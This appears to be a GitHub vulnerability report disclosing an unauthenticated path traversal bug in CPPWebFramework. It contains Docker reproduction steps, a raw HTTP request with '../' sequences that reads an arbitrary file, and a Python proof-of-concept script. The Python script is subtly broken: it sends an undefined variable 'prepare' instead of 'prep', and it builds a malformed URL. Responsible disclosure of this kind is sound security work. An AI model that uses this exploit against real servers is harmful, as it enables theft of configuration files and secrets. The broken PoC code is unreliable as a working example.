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# Unauthenticated Path Traversal vulnerability #40

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Hello CPPWebFramework Maintainers,

I have identified an unauthenticated Path Traversal vulnerability in your project. Please find the detailed report below:

CPPWebFramework contains an unauthenticated Directory Traversal vulnerability. The framework concatenates user-supplied URLs directly with the web root path without sanitizing `../` sequences.

While the application utilizes a file-extension whitelist, attackers can bypass directory restrictions to read arbitrary files on the host system that share a whitelisted extension (e.g., `.ini`, `.txt`, `.xml`, `.json`, `.zip`, `.php`, `.html`, `.rar`, `.doc`, `.pdf`, `.mp3`, `.mp4`). This allows remote attackers to leak highly sensitive framework configuration files (such as `CPPWeb.ini`).

The vulnerability can be verified using the official Docker container provided by the developers.

```
sudo docker run -d -p 80:80 imacellone/cwf-helloworld:1.0
```



```
docker exec -it <container_id> bash
root@<container_id>:/# echo "Unauthenticated Arbitrary File Read via Path Traversal" >
/home/Test.txt
```

Proof of Concept (HTTP Request):

```
GET ../../../../../../home/Test.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
```



Proof of Concept (Response):

```
HTTP/1.1 200 OK
Content-Length: 55
Content-Type: text/txt; charset=UTF-8
Server: C++-Web-Server
```



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Python PoC:

```
import requests

target = "http://127.0.0.1:80"
payload = "../../../../home/Test.txt"

# Bypass requests automatic URL normalization
session = requests.Session()
req = requests.Request('GET', target + payload)
prep = req.prepare()
prep.url = target + payload

response = session.send(prepare)

print(response.text)
```



```
python3 PoC.py
Unauthenticated Arbitrary File Read via Path Traversal
```



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### Development

 Code with agent mode 

No branches or pull requests

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### Participants

